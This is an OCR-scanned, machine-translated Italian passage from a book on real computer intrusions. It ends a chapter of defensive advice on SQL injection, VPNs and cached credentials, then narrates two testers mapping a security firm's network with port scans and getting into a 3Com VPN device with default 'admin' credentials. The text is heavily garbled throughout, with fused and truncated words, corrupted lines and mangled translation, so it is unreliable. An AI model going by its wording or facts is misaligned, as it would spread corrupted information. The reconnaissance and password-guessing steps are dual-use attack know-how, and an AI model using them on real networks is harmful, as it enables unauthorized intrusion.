la lettura da parte di personale non autorizzatmabte la mia ex di hacking

carriera, ho scoperto che molti amministratoriisliesna lasciare compresso

archivi di directory sensibili non protetti. E mentavora in IT

reparto di un grande ospedale, ho notato cheabdae é stato libro paga
regolarmente eseguito il backup e poi a siniseaza alcuna protezione di file - in modo che
gualsiasi

membro del personale esperto poteva accedervi.

Robert ha approfittato di un altro aspetto di goesimune di sorveglianza

quando ha trovato il backup del codice sorgenterahiling list commerciale
applicazione lasciato in una directory access#ilgubblico sul server Web.
Protezione contro gli attacchi di iniezione MS SQL

Robert volutamente rimosso i controlli di convaldil'input dal Web-

based, che sono stati progettati per prevenireione SQL

attacco. Le seguenti operazioni di base possonedimpl'organizzazione da

essere vittime utilizzando lo stesso tipo di attaRobert e stato in grado di utilizzare:
e Non eseguire un server Microsoft SQL nel contdsgistema.

Si consideri che esegue il servizio SQL serveramabito di una diversa

contesto di account.
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e Durante lo sviluppo di programmi, scrivere un cedche non generalizzate
mangiato query SQL dinamiche.
e Utilizzare le procedure per I'esecuzione di qu&®L memorizzato. Impostare un
account che viene utilizzato solo per eseguirédeed procedure,
e impostare le autorizzazioni necessarie per llatdcappena a
eseguire le attivita necessarie.
Utilizzando Microsoft Servizi VPN
Come mezzo di autenticazione, Microsoft VPN utdizi Windows
Autenticazione, rendendo piu facile per un utenédintenzionato di sfruttare le password poveri
per l'accesso alla rete VPN. Potrebbe essere qymoirt certi ambiente
menti per richiedere l'autenticazione smart card'aecesso VPN - altro
luogo in cui una forma piu forte di autenticaziatieerso da un segreto condiviso
si alza il bar a pochi tacche. Inoltre, in alcuasic pud essere appro-
mangiato per controllare l'accesso alla VPN in lz@i§adirizzo IP del client.
In attacco di Robert, I'amministratore di sistemeebbe dovuto essere monitor
trollo il server VPN per tutti i nuovi utenti aggiti al gruppo VPN. Altro
misure, anche accennato in precedenza, comprenaaonoozione in SOSpeso
conti dal sistema, garantendo che un processaiarper rimuovere
o disabilitare gli account di partenza dipendentase possibile, restrict-
ing VPN e accesso remoto a dal giorno della settaneadell’ora del giorno.
Rimozione dei file di installazione
Robert e stato in grado di ottenere le mailingdist cercava non sfruttando



I'applicazione mailing list stessa, ma approfitmdella vulnerabilita

in script di installazione predefinita dell'applzo@ane. Una volta che un‘applicazione ha
stato installato con successo, devono essere ligswogs di installazione.
Rinominare account amministratore

Chiunque abbia una connessione Internet puo sesnpdicste Google per "default
Lista password "per trovare i siti che elencanmante password in

Stato predefinite di fabbrica del costruttore. Bhseguenza, € una buona

idea di rinominare il guest e account amministeuando possibile. Questo

non ha alcun valore, tuttavia, quando il nome astbunt e la password sono
memorizzato in chiaro, come era il caso con |'ataeshescritta nel

Attacco Erik.

4

Tempra di Windows per prevenire Memorizzazione alcae credenziali

La configurazione predefinita di Windows memorizzeomaticamente la password
hash e memorizza le password in chiaro utilizzatolg connessione remota.
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Dopo aver ottenuto un numero sufficiente di prigijain aggressore puo tentare di estrarre come
qguante piu informazioni possibili, comprese le passl che sono memorizzati in
il Registro di sistema o in altre aree del sistema.
Un insider di fiducia puo potenzialmente comproerettun intero dominio utilizzando
un po 'di ingegneria sociale, quando il suo postaviro € caching delle password
localmente. Il nostro insider scontenti chiamauporto tecnico, lamentando che
egli non puo accedere alla sua postazione di laxarole un tecnico per venire assistere
immediatamente. Il tecnico si presenta, accedistainsa utilizzando la sua
credenziali e correzioni del "problema". Poco dagloestratti insider
I'hash della password del tecnico e le crepe, ddmtipendente
accesso agli stessi diritti di amministratore dintldo come il tecnico. (Questi
hash nella cache sono double-hash, quindi richiedatro programma per
svelare e rompere questi tipi di hash.)
Un certo numero di programmi, come Internet Expler®utlook, la cache
le password nel Registro di sistema. Per saperpeidiu come disabilitare questo zionalita
lita, utilizzare Google per la ricerca di "disatale la cache password."
Defense in Depth
Le storie di questo capitolo dimostrano, ancoravprido di altri in
il libro, che a guardia del perimetro elettroniedla rete della vostra azienda
opere non e sufficiente. Nell'ambiente di oggadtimetro si scioglie
come le imprese invitano gli utenti nella loro reE®me tale, il firewall non e
andando a fermare ogni attacco. L'hacker e andgwaraare per il crack in
il muro, tentando di sfruttare un servizio che asemtito dal firewall
regole parete. Una strategia di mitigazione € meetjealsiasi stema accessibile al pubblico
sistemi per conto proprio segmento di rete e camaione filtrare il traffico in piu
segmenti di rete sensibili.
Ad esempio, se un server backend SQL e sulla rétedale, un
firewall secondario puo essere impostato che caes#Eho le connessioni alla porta
che esegue il servizio. Impostazione firewall intgrer proteggere sensibile
patrimonio informativo puo essere qualcosa di wtidéo, ma dovrebbe essere con-
considerate un elemento essenziale se si vuoleneata proteggere i vostri dati da malware
addetti ai lavori e gli intrusi esterni che riesoanviolare il perimetro.
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Intrusi Determinato si fermera davanti a nulla rggiungere i loro obiettivi. Un paziente
intruso caso la rete di destinazione, prendendodatutte le accessibili

sistemi e dai servizi che sono esposti al pubblittacker

potrebbe trovarsi in attesa per settimane, mescheanni per trovare e sfruttare una nuova
vulnerabilita che non é stato affrontato. Duraatenia ex di hacking

carriera, io personalmente passo ore e ore di tethpompromesso
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sistemi. La mia perseveranza ha pagato, dal monolieteono sempre riuscito a scoprire che
crepa nel muro.

L'hacker Erik messo avanti la stessa tenacia erdetazione nel suo

gli sforzi per ottenere il codice sorgente altaregaegiato per un periodo di due anni.

E Robert, cosi, ha intrapreso una complessa, atériserie di passaggi sia

nei suoi sforzi a senso unico a rubare milionndirizzi email da vendere a

spammer e nel suo sforzo, come Erik, per ottehemalice sorgente che aveva

mirati.

Capite che questi due hacker sono affatto solam Lor

grado di persistenza non € raro nella comunitadratk

responsabili di garantire must dell'infrastruttdrain‘organizzazione

capire quello che potrebbe essere contro. Un hdekezmpo illimitato

di trovare solo un foro, mentre il sistema obedatavoro e amministrazione di rete

tori hanno il tempo molto limitato per concentraasi compito specifico di puntellare il
difese dell'organizzazione.

Come Sun Tzu ha scritto in modo cosi eloquentéarie della guerra(Oxford University
Press, 1963): "Conosci te stesso e conoscere fildomco; in cento battaglie

non sarai mai in pericolo. Quando si & ignorantingenico, ma sai

te, le tue possibilita di vincere o perdere € ugual "Il messaggio e

chiare: | vostri avversari passeranno qualungu@oenecessario per ottenere quello che
desiderare. Di conseguenza, si deve effettuarealngazione dei rischi per identificare la
dovrebbero essere prese probabili minacce conwrostma organizzazione, e queste minacce
in considerazione mentre si sta sviluppando umdesjia di sicurezza. Essere ben pre-
confrontato, ed esercitando una "standard di dilzgé redigendo, nell'attuare le

zione, e far rispettare le politiche di sicurezededinformazioni, andra un lungo cammino per
mantenendo gli attaccanti a bada.

Se la verita € noto, qualsiasi avversario con sesaufficienti puod poi quelle pari
tualmente entrare, ma il vostro obiettivo dovrebbgere rendendo cosi difficile e colta
lenging che non vale la pena il tempo.

N

OTES

1. interessati ad esaminare i propri segreti L&#ee di stoccaggio protette? Tutto cio che serve e
un elegante

strumento chiamato Cain & Abel, disponibile da wesad.it.

2. Questo sito non é piu accessibile, ma altri bgmeso il suo posto.



3. Maggiori informazioni su Tripwire € disponibédewww.tripwire.com.

4. Un hacker popolare sito utilizzano per verifecka presenza di posizioni con password di default
e www.phenoelit.de/

dpl / dpl.html. Se la vostra azienda € elencate, d#tenzione.
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Capitolo 9
Sul continente
Vedete piccoli pezzi di informazioni, e il modaim le cose sono formulate, e
si inizia ad avere un po 'di una visione della st&ie le persone che
sono responsabili dei sistemi informatici. E c'graesto tipo di sentimento che
sapevano di sicurezza, ma che forse stanno facgualoosa di un po '’
po 'sbagliato.
- Louis
La
t all'inizio del capitolo 8, ci ha ammonito chenlantech-
lettori nici troverebbero parti difficili da segeirChe & anche
piu vero nel seguito. Eppure, sarebbe una vergpgnaaltare
capitolo, dal momento che questa storia & per metsi affascinante. E il succo pud
essere facilmente seguita saltando oltre i dettagfici.
Questa € una storia di individui simili che lavaygrer una societa
che é stato ingaggiato per incidere un obiettinom farsi prendere.
Da qualche parte a Londra
L'ambiente € in "the City", nel cuore di Londra.
Immagine "di un tipo open-plan di stanza senzastmesul retro di un Build-
zione, con un gruppo di ragazzi techie bandingemsi. "Pensa" hacker
lontano dalla societa, non essere influenzato deldo esterno "ciascun
lavora febbrilmente alla sua scrivania, ma conhu@na dose di battute andare
tra di loro.
Seduto in questa stanza anonima tra gli altri, ;agazzo che chiameremo
Louis. E 'cresciuto in una piccola citta insulaet mord dell'Inghilterra, ha iniziato

Pagina 217
giocherellare con i computer circa sette anni qoarsaioi genitori hanno comprato
un vecchio computer in modo che i bambini potreblieiziare a conoscere la tecnologia.
Ha iniziato I'hacking come schoolkid quando haangpato su un tabulato del personale
nomi utente e password e trovato la sua curiositédosse. La sua incisione
lo ha atterrato in difficolta all'inizio, quando astudente piu grande (un "prefetto,” in inglese
terminologia) girato Louis. Ma essere scoperti lmscoraggiare da
imparare i segreti del computer.
Ora diventato grande, con i capelli scuri, Lougs/&r piu molto tempo per
gli "sport molto inglese" - di cricket e di calci@he lui teneva tanto
Su come uno scolaretto.
Diving In
Qualche tempo fa, Louis e il suo amico Brock, mkamee via a un vicino
del computer, ha preso su un progetto insiemerdl bbiettivo era basata una societa
in un paese in Europa - essenzialmente una saliistéurezza, di cadere
grandi somme di denaro e traghettare prigioniarcércere e tribunale,



e da una prigione all'altra. (L'idea di una socfata entrambe

il compito di spostare denaro in giro e anche prigdri spola Brinks-tipo e

aprire gli occhi agli americani, ma un accordo ghénglesi e

Gli europei danno per scontato.)

Qualsiasi azienda che si descrive con la parotaitszza" deve sembrare

come una sfida particolarmente caldo. Se sono otiiroon la sicurezza, lo fa

che media sono cosi attento alla sicurezza, cheirsarebbe modo di

irrompere? Per un gruppo di ragazzi con una meatadicker, deve sembrare

una sfida irresistibile, soprattutto quando, comguesto caso, i ragazzi non aveva nulla da
iniziare con oltre il nome della loro societa tdrge

"Abbiamo trattato come un problema da risolverein@iila prima cosa che abbiamo fatto e stato
per scoprire quante piu informazioni su questarmieecome abbiamo potuto, "Louis
dice. Hanno iniziato googling societa, anche wéizdo Google di tradurre

in ritardo, dal momento che nessuno del gruppodnkfo il linguaggio del paese.

Le traduzioni automatiche erano abbastanza vi@ndare loro una sensazione di

cio che l'azienda era tutto e come grande e $Ratonon essendo

molto confortevole, con attacchi di social engiivegrche possibilita era

escluso comunque a causa della barriera linguistica

Sono stati in grado di mappare cio che gli intéreilindirizzi IP sono stati pubblicamente
assegnati a

I'organizzazione dagli indirizzi IP del sito Welldesocieta e la sua

mail server, cosi come dal registro indirizzo [lPopeo, Réseaux IP

Européens (RIPE), che é simile a American Regditigternet

Numbers (ARIN) negli Stati Uniti. (ARIN é l'orgar@iazione che

gestisce numeri di indirizzo IP per gli Stati Urtterritori assegnati.
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Poiché gli indirizzi Internet devono essere unick la necessita per alcuni all'organizzazione
zione di controllare e allocare numero di indiriZiblocchi. 1l all'organizzazione RIPE
zazione gestisce numeri di indirizzi IP per i teemiieuropei.)
Il sito Web principale, hanno appreso, era estaoa,un su host di terze parti
ing societa. Ma l'indirizzo IP del loro server digba € stato registrato per la
azienda stessa e si trovava all'interno del laiervallo di indirizzi aziendale. Quindi,
| ragazzi potevano interrogare autorevole Serviamdl Domain aziendale
(DNS) del server per ottenere gli indirizzi IP eg@endo lo scambio di posta
record.
Louis ha provato la tecnica di inviare una e-maihandirizzo inesistente.
Il messaggio di rimbalzo lo consiglierei che la suaail non poteva essere
consegnato e mostrerebbe informazioni di intestezahe ha rivelato alcune interna
Gli indirizzi IP della societa, e anche alcuni elndiarouting.
In questo caso, pero, cio Louis ottenuto era unbalzo” off del loro esterno
mailbox; la sua e-mail aveva ottenuto solo al sedv@osta esterno, in modo che il
Risposta "undeliverable™" ha fornito alcuna informae utile.
Brock e Louis sapevano che sarebbe rendere lpivitiacile se la societa e stata
ospitando il proprio DNS. In tal caso, avrebbenxato di fare indagini
ottenere maggiori informazioni sulla rete interagendale, o prendere
vantaggio di qualsiasi vulnerabilita associata ledioro versione di DNS. I
notizia non era buona: il loro DNS era altrove spraibilmente trova
loro ISP (o, per usare la terminologia inglesey ftelecomunicazioni').



Mappatura del Network

Come il loro prossimo passo, Louis e Brock usat stansione reverse DNS per ottenere
I nomi host dei vari sistemi situati all'internd dange di indirizzi IP

della societa (come spiegato nel capitolo 4, "gieagdadri”, e

altrove). Per fare questo, Louis utilizzato "sofosemplice script PERL" i ragazzi

aveva scritto. (Piu comunemente, gli aggressonaisaftware o web disponibili

I siti per le ricerche DNS inverse, come www.sandeparg.)

Hanno notato che "non vi erano nomi molto inforwmidtrnare

da alcuni dei sistemi ", che era un indizio di ci@ funzionare quei stema

sistemi hanno avuto all'interno della societa. @uaache fornito comprensione della mentalita
del personale IT dell'azienda. "E 'appena sembghwanministratori non avevano

ha ottenuto il pieno controllo delle informaziomiecsono disponibili sulla loro rete,

e guesta € la prima fase di intuizione circa stasandando ad essere in grado

per ottenere lI'accesso o meno. "Brock e Louis persandicazioni sembravano favorevoli.
Questo € un esempio di cercare di psicanalizzamimistratori, try-

zione di entrare in testa su come avrebbero atthiella rete.

Per questa particolare malintenzionato, "era basgiarte sulla conoscenza
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reti e aziende che avevamo visto in particolare e
paese e il livello di conoscenza IT e il fatto éh@ersone in questa
Paese erano forse un anno e mezzo a due anniitiiRegno Unito. "
Identificazione di un Router
Essi hanno analizzato la rete utilizzando il sapémex di "traceroute”, che
fornisce un conteggio del numero di router un pattordi dati attraversa
per raggiungere una destinazione specifica; inaqyargesto &€ denominato
numero di "salti". Essi corse traceroute al sedigrosta e alla Bor-
der firewall. Traceroute riferito che il serverptista € stato uno hop dietro
il firewall.
Questa informazione ha dato loro un indizio cheeilver di posta era o sul
DMZ, o tutti i sistemi dietro il firewall sono sallstessa rete.
(I DMZ é una cosiddettaona demilitarizzata un sistema elettronico non terra di
rete che si trova tra due firewall e che € normabmaccessibile
sia dalla rete interna e Internet. Lo scopo deN&ZD
e quello di proteggere la rete interna in casodsisistemi esposti al
Internet sono compromessi.)
Sapevano il server di posta aveva la porta 25 apefacendo una tracciabilita
percorso, sapevano anche che potrebbe effettivarpenttrare il firewall per com-
comunicare con il server di posta. "Abbiamo vigte quel percorso in realta ci ha portato
tramite questo dispositivo router, e poi attraversalto successivo che sembrava
a scomparire, che in realta era il firewall e pod thop dietro
che abbiamo visto il server di posta, quindi ablmawuto un idea su come il rudimentale
di rete e stato architettato. "
Louis ha detto che spesso iniziano provando alponi& comuni che essi
sapere sono suscettibili di essere lasciata apartisewall, e ha chiamato un paio di servizi
come la porta 53 (utilizzata dal DNS); porta 25@tver di posta SMTP); porta 21
(FTP); porta 23 (telnet); porta 80 (HTTP); port® E3445 (entrambe usate
per NetBIOS, su differenti versioni di Windows).
Prima abbiamo condotto port scan intrusivi, eravamolto interessati a



assicurarsi che avevamo un elenco di destinaziffreaee che non ha incluso IP
indirizzi per sistemi che non sono stati utilizzatella prima

stadi, che hai avuto modo di avere liste di deséinasenza ciecamente andare
fuori e semplice scansione ogni indirizzo IP. Dape facciamo il nostro obiettivo
enumerazione, abbiamo forse cinque o sei finadigtemi che vogliamo

di esaminare ulteriormente.

In questo caso, hanno trovato solo tre porte apanteerver di posta, un Web
server con tutte le patch di sicurezza installageara apparentemente non essendo
utilizzato, e sulla porta 23, il servizio telnetu&gdo hanno cercato di telnet in su
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il dispositivo, hanno ottenuto il tipico "Accesstente Verification" Cisco password
pronta word. Cosi stavano vedendo un po 'di pregrealmeno loro
aveva identificato la scatola come dispositivo icG.
Su un router Cisco, Louis sapeva per esperienpmdsword € abbastanza
spesso impostato a qualcosa di abbastanza ovmiquésto caso abbiamo provato tre password
parole - il nome della societajoto, eCisco, e non abbiamo potuto
entrare in quel router. Cosi, invece di crearegoopumore, a questo punto,
abbiamo deciso di smettere di tentare di accede@razio. "
Hanno cercato la scansione del dispositivo Ciscaupgoaio di porte comuni, ma hanno ottenuto
da nessuna parte.
Cosi, quel primo giorno abbiamo trascorso moltogerm analisi
la societa e la loro rete, e I'avvio di qualche fmoiniziale
scansioni. Non direi che siamo stati sul puntoidiinciare, perché c'erano
ancora un bel alcuni trucchi che avremmo sicurareeigrovare con qualsiasi rete
lavorare prima abbiamo iniziato a rinunciare.
La somma totale dei loro risultati per un giorntem di sforzo non € andato molto
oltre ad aver identificato un router singolo.
Il Secondo Giorno
Louis e Brock é venuto in per il loro secondo gmpronti per iniziare a fare di piu
port scanning intensiva. Usando il termgevizidi riferimento per aprire le porte,
Louis ha spiegato:
A questo punto noi stavamo pensando a noi stesgi@bbiamo trovare
piu servizi su queste macchine. Cosi abbiamo gitatolume un ratura
bit TLE e ha cercato di trovare qualcosa che steamente accadendo per aiutarci
per entrare in questa rete. Quello che abbiamowesa che ci fosse
sicuramente un buon filtraggio firewall in luogordzamo davvero cercando
per qualcosa che é stato [di essere] consentitogpenre e / 0 qualcuno
cosa che é stato configurato correttamente.
Quindi, utilizzando il programma Nmap, uno struneestandard per la scansione delle porte, che
ha fatto una scansione con file services predefuhé programma che sembrava per alcuni
1.600 porte; ancora una volta sono venuti con tageuota - niente di significativo.
"Allora, cosa che abbiamo fatto é stata una cora@eansione completa della porta, la scansione
sia il router
e i server di posta. "Una scansione completa gelfte significava esaminare piu di 65.000
porti. "Stavamo scansione ogni singola porta T@Paerca di qualsiasi pos-
servizi bili in questi host che abbiamo avuto nelstra lista di destinazione a quel punto. "
Questa volta hanno trovato qualcosa di interessaraestrano e un po '
perplessi.
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Port 4065 é stato aperto; € raro trovare una dtddali in uso. Louis
ha spiegato, "Quello che abbiamo pensato a québpra che forse hanno ottenuto un
servizio telnet configurato sulla porta 4065. Quindello che abbiamo fatto e stato telnet
che la porta e vedere se abbiamo potuto verifichee "(Telnet € un protocollo per
il controllo in remoto un altro computer ovunquelsternet. Utilizzando
telnet, Louis collegato alla porta remota, cheh@accettato com-
comandi da suo computer e ha risposto con us@tehzzate direttamente
al suo schermo.)
Quando hanno cercato di connettersi ad esso, somatituna richiesta di login
nome e password. Cosi avevano ragione che la @ateta utilizzata per
servizio telnet - ma la finestra di dialogo peuténticazione degli utenti e stata molto diversa
rispetto a quella presentata da un servizio t€hito. "Dopo un po ', abbiamo identificato esso
come alcuni dispositivi 3Com. Questo allora veratmeantimizzato il nostro entusiasmo per il
lavoro perché non e spesso trovato una scatolésdo €he assomiglia a un altro
dispositivo, o trovare qualche altro servizio ebtocsu una porta TCP alto. "Ma il
fatto che il servizio telnet sulla porta 4065 ceae€ome un dispositivo 3Com
non ha senso per loro.
Avevamo due porte aperte su un dispositivo e haerdificato loro-
stessi come dispositivi completamente diversi deepampletamente diversa
produttori.
Brock trovo l'alta porta TCP e collegato ad esamite telnet.
"Una volta ottenuto un log-in rapido, ho gridatandiovo a provardi amministraziongper il
dall'utente
nome], con i soliti sospetti password copassword adming vuoto.
Ha provato diverse combinazioni di questi tre cdmeme utente e la password
Parola, e ha colpito I'oro dopo pochi tentativhdime utente e la password
sul dispositivo 3Com erano entrantbiamministrazione "A quel punto ha gridato che
ha ottenuto in ", ha detto Louis, il che signifatge ora erano in grado di ottenere telnet
I'accesso al dispositivo 3Com. Il fatto che sittraéd di un amministrativo
account e stato la ciliegina sulla torta.
Una volta che abbiamo indovinato la password, éosilgorimo in alto sul lavoro.
Era un po 'il woo-hoo standard. Stavamo lavorandtiferenza
workstation Ent. Inizialmente, mentre stavamo fdoda rete e
scansione di enumerazione, eravamo sulle nostrenrae e condivi-
ing informazioni tra di noi. Ma una volta trovata porta che dava
lui I'accesso a tale prompt di login, sono andatose la sua macchina e
abbiamo cominciato a lavorare insieme, sia a stesaachina.
E 'stato fantasticokE 'stato un dispositivo 3Com e abbiamo ottenuicksso alla console
ad esso e forse ci aveva ricevuto un viale pergagacio che
puo fare.
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La prima cosa che volevamo fare era di trovare tesaénte cio che il
Dispositivo 3Com era, e perché era accessibilermuporta TCP alto
sul router Cisco.



Tramite l'interfaccia a riga di comando, sono stagrado di interrogare mazioni
mazioni sul dispositivo. "Abbiamo pensato che faygalcuno aveva tappato

il cavo console da questo dispositivo 3Com nelabgpo Cisco e ina-

vertently abilitato I'accesso. "Questo avrebbe @etsme un modo conveniente

I dipendenti potrebbero telnet nel dispositivo 3Cattnaverso il router.

«Forse non c'erano abbastanza monitor o tastiedatie

Centro, "Louis indovina, e avevano giuria-brogliaavo come temporanea
risolvere. Quando il bisogno era finita, 'ammirasbre che ha infilate il cavo
aveva dimenticato tutto. Si era allontanato, Ldigisrato, "abbastanza
inconsapevole delle conseguenze delle sue azioni. "

Guardando la configurazione

del dispositivo 3COM

| ragazzi ormai capito che il dispositivo 3Com digtro il firewall

muro, e questo errore dell'amministratore avewvaitimiun percorso tortuoso,
rendendo possibile per un utente malintenzionatmiiegare dietro il firewall attraverso
I'alta porta aperta.

Ora che avevano accesso alla console 3COM, harardao il

record di configurazione, compreso l'indirizzo B3egnato dell'unita, e pro-
protocolli utilizzati per la connettivita di reteiyata virtuale. Ma visualiz

coperto che il dispositivo anche seduto sulla atgssnma indirizzo di posta

server e al di fuori di un firewall interno, suldZ. "Abbiamo concluso

che in realta era seduto dietro il firewall periratt ed era protetto da

Internet utilizzando una sorta di regole di fillgag "

Hanno cercato di guardare la configurazione deladigivo stesso per vedere come
le connessioni in entrata sono stati istituiti, ati@averso l'interfaccia si

non poteva ottenere abbastanza informazioni. Eppareno indovinato che, quando un utente
collegato alla porta 4065 sul router Cisco da chejoarte sulla

Internet, la connessione e stata probabilmente ftb al dispositivo 3Com che

e stato inserito nel router Cisco.

Quindi a questo punto eravamo molto fiduciosi chiestavamo per essere

in grado di ottenere I'accesso alle reti di bacldendi ottenere un maggiore controllo
sulla rete interna. A questo punto, siamo statnioito buono

spiriti ma quello che gli inglesi chiamano "prefagged,” avendo gia

mettere in I'equivalente di due giorni lavorativepi.
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Siamo andati al pub e parlato di come il giorno dagtava andando
per essere grande, perché stavamo andando a guizdire a guardare un po '
piu sistemi terminali e tipo di trovare il nostroodo piu profondo nella rete.
Curioso di questo dispositivo 3Com, che avevanatorper catturare il reale
log console tempo. Se ogni attivita € accadutordarka notte, che sarebbe in grado
per vedere quando sono venuti la mattina successiva
Il Terzo Giorno
Quando Brock ispezionato il log della console dattmo, ha trovato che Var-
Gli indirizzi IP ious erano arrivati. Louis ha sgao:
Dopo una visita alla periferica 3COM un po 'di piti,siamo resi conto
era una sorta di VPN che gli utenti remoti stavarsando per la connessione
alla rete aziendale da qualche parte su Internet.
A questo punto, siamo stati sicuramente entusiasthatavremmo avuto a



accedere, nello stesso modo che gli utenti legittati GAIN-

ing accesso.

Hanno cercato di creare la propria interfaccia \ffeélksonale sul 3COM

dispositivo portando un'altra interfaccia sullatszl3COM, con una dif-

indirizzo ferenti IP, uno che il firewall non e &iasplicitamente filtrando.

Non ha funzionato. Essi hanno scoperto che il disjpo non puo essere configurato
senza interrompere i servizi legittimi. Non potevdar apparire una identificazione
mente configurato il sistema VPN, e il modo in Karchitettura é stato istituito,
limitato abbastanza in modo che non potevano faefl@che volevano.

Quindi questo viale di strategia di attacco svaapidamente.

Siamo rimasti un po 'giu, un po' tranquillo, a gteepunto.Ma

era molto il caso che e il primo tentativo e Certante

essere un altro modo. Avevamo ancora un incentiffeceente, abbiamo avuto ancora accesso
a guesto dispositivo; avevamo ancora che appi@iamo diventati tipo di

intenso sulla presa questa cosa un po 'piu lontano.

Erano nella DMZ della rete della compagnia, ma dodmanno provato

ottenere collegamenti verso i propri sistemi, sstabi ostacolati. Essi

anche provato a fare un ping sweep (cercando duesel ping ogni sistema sulla rete
lavoro) sull'intera rete, ma dal sistema 3COM diddr

firewall, per individuare eventuali potenziali sti per aggiungere alla loro lista di destinazione.
Se

erano gli indirizzi delle macchine nella cachengigava che qualche dispositivo era
bloccando I'accesso al protocollo di livello supegi "Dopo diversi tentativi,"

Louis ha detto, «abbiamo fatto vedere le voci nedlehe ARP, indicando che alcuni
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macchine avevano trasmesso loro indirizzo macchi(@RP, l'indirizzo
Resolution Protocol, € un metodo per trovare Ifindo fisico di un host
dal suo indirizzo IP. Ogni host mantiene una catiheaduzioni di indirizzi
per ridurre il ritardo nella trasmissione di padtid dati.)
Quindi c'erano sicuramente altri computer del daoiinma [che]
non erano risponde ai ping -. che € un classicncdgun firewall "
(Per chi non ha familiarita conpinging, € una tecnica di scansione in rete
che coinvolge trasmettere determinati tipi di p&tth controllo Internet
Message Protocol, o ICMP - al sistema di destimezjger determinare
se I'host e "viva", o verso l'alto. Se I'host eoyisi risponde con
un pacchetto "ICMP echo reply".) Louis continuau&3to sembrava con-
rassodare la nostra impressione che ci fosse unfiawall, c'era un altro
livello di sicurezza tra il dispositivo 3Com e tad rete interna. "
Louis cominciava a sentire di aver raggiunto urlMieco.
Abbiamo avuto accesso a questo dispositivo VPNjaonasiamo riusciti a creare il nostro
VPN attraverso di essa. A quel punto, i livelleditusiasmo e andato giu
un po.Abbiamo tipo di iniziato ad avere la sensazione robie siamo
in realta andando a prendere ulteriormente in réfecosi siamo
necessario per brainstorming di idee.
Hanno deciso di indagare gli indirizzi IP che avevacoperto
nel registro console. "Abbiamo tipo di visto chpadlsso successivo é stato quello di avere uno
sguardo
e vedere che cosa e stato a distanza comunicamaesto dispositivo 3Com, perché



se si potrebbe rompere in quel dispositivo, sigiiie essere in grado di dirottare un esistente
zione connessione alla rete. "O potrebbero essageado di ottenere la

credenziali di autenticazione necessarie per f@ssare come un utente legittimo.

Sapevano alcune delle regole di filtraggio, Lowadetto, e stavano cercando

modi di aggirare queste regole sul firewall. La sparanza era che sarebbero

in grado di "trovare sistemi che erano grande sefaveva la leva per

in realtd passare attraverso questo firewall. i@irizzi IP che salivano

erano di grande interesse per noi. "

Quando sono stati collegati alla console di sist8@@M, ha spiegato,

ogni volta é stato fatto un utente remoto connesso cambiamento di configurazione,
lampeggiato di un messaggio di avviso nella pafieriore dello schermo. "Siamo stati in grado
per vedere le connessioni in corso in questi initiP. "

| record di registrazione in dettaglio I'organizpae che particolare IP

indirizzi sono stati registrati a. Inoltre, quastcord si trovano anche |l

informazioni di contatto per il personale ammirasitro e tecnico responsabilita

BLE per la rete dell'organizzazione. Usando quedirizzi, che ancora una volta

rivolto ai record del database di registrazion®HE, che ha dato loro

informazioni su quale compagnia questi indirizzstho stati assegnati a.
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In realta, questa ricerca ha portato un‘altra gsgor'Abbiamo trovato gli indirizzi
sono stati registrati ad un grande provider dict@beunicazioni in questo parti-
Paese colare. A questo punto non abbiamo potutiereetompletamente tutto insieme, abbiamo
non poteva davvero capire che cosa questi indizsono stati, perché la gente
sono stati di collegamento da una societa di tehecacazioni ", ha detto Louis, con gli inglesi
termine per quello che noi chiamiamo un ISP. | dagazzi hanno cominciato a chiedersi se la VPN
connessioni erano anche da utenti remoti delleetinod qualcosa del genere
del tutto diverso che non potevano in questo momemtche indovinare.
Eravamo molto dove abbiamo bisogno di sedersi ecauea vera e propria
deposito del cervello. Avevamo bisogno di davvestiare insieme questa immagine in modo da
puo effettivamente iniziare a cercare di capire.
La promessa del primo mattino non era stato risggettAbbiamo avuto
accesso al sistema, ma tuttavia non abbiamo rieseahottenere ulteriormente,
e sembrava che non avevamo fatto alcun progressmttuil giorno.Ma
invece di scomparire a casa e tipo di ritorno nella
mattina successiva e raccogliere li, abbiamo pendatindare al
Pub, bere un drink e il tipo di de-stress e cararelle nostre teste prima
abbiamo ottenuto sui mezzi pubblici e facemmostmanodo a casa.
Questa e stata la primavera precoce con un poifglimaria. Noi
lasciato l'ufficio e ando dietro I'angolo di unarsm di piuttosto buio
e squallida tradizionale pub inglese.
Bevevo lager, Brock stava bevendo grappa pesca e
limonata - un buon drink, si ought'a provare. E &bo appena genere
di li seduto e chiacchierato e commiserata tracui
come il giorno non era andato come previsto. Ddgwimo drink eravamo
un po 'piu rilassato e un pezzo di carta e una pamsctirono.
Abbiamo appena iniziato buttare fuori alcune idae® che eravamo
andando a fare dopo.
Eravamo molto gentile desideroso di ottenere quedatdi strutturato cosi quando abbiamo



tornato in mattinata. abbiamo potuto sedersi rapigate e provare
qualcosa. Abbiamo elaborato I'architettura di reteme abbiamo mappato esso,
e cercato di identificare cio che gli utenti devgrater accedere VPN, dove
I sistemi sono stati fisicamente situate, e la ptole passi del sistema
esecutori pensato durante la configurazione di asogemoto Ser-
ghiaccio per questa azienda.

Abbiamo elaborato i sistemi noti e quindi da quehio ha cercato di
risolvere alcuni dei dettagli e dove alcuni dedtrissistemi

si trovavano [Figura 9-1]. Avevamo bisogno di capdtove in

la rete che dispositivo 3Com era situato.
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Figura 9-1: lllustrazione di cio che i due hacker pensieragiube essere la configurazione,
il che spiegherebbe quello che avevano osservitorste e le operazioni.
Louis si chiese che oltre ai dipendenti internirebbe anche essere necessario
avere accesso a questa rete. Questa era una sogegiiosa della sua tec-
innovazione iCal, cosi Louis e Brock pensato chegf@vevano sviluppo
pato un "davvero grande applicazione di distribnefoche permetta a guardie
login dopo aver fatto una consegna, e poi scophieecosa il loro prossimo
pickup sarebbe. Questa applicazione pud essecepstajrammato per fare
il processo a prova di idiota attraverso l'autormazi Forse il conducente avrebbe
fare clic su un'icona, che avrebbe detto I'appiasz per collegarsi alla domanda
Server zione ed ottenere i suoi ordini.
Pensavamo che questi driver non stanno per essate oom-
computer savvy, che stanno andando ad avere wansastli set up che e molto
facile da usareAbbiamo iniziato a pensare che da un punto di
Vista: Che tipo di sistema sarebbe facile da iratal che tipo di
sistema sarebbe di facile manutenzione e sarelcheo$i
Pensavano di un servizio di dial-up ", forse daomputer portatile
in cabina [vano del conducente]. E l'azienda ddweebd o
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deve gestire questi server che avevamo ottenutbamrebbero dovuto
li esternalizzare con una terza parte. Abbiamazpato che la terza parte
era una societa di telecomunicazioni, e le infoior@zlovrebbe passare dal
societa di telecomunicazioni alla nostra azienddediinazione, e che dovevano passare |l
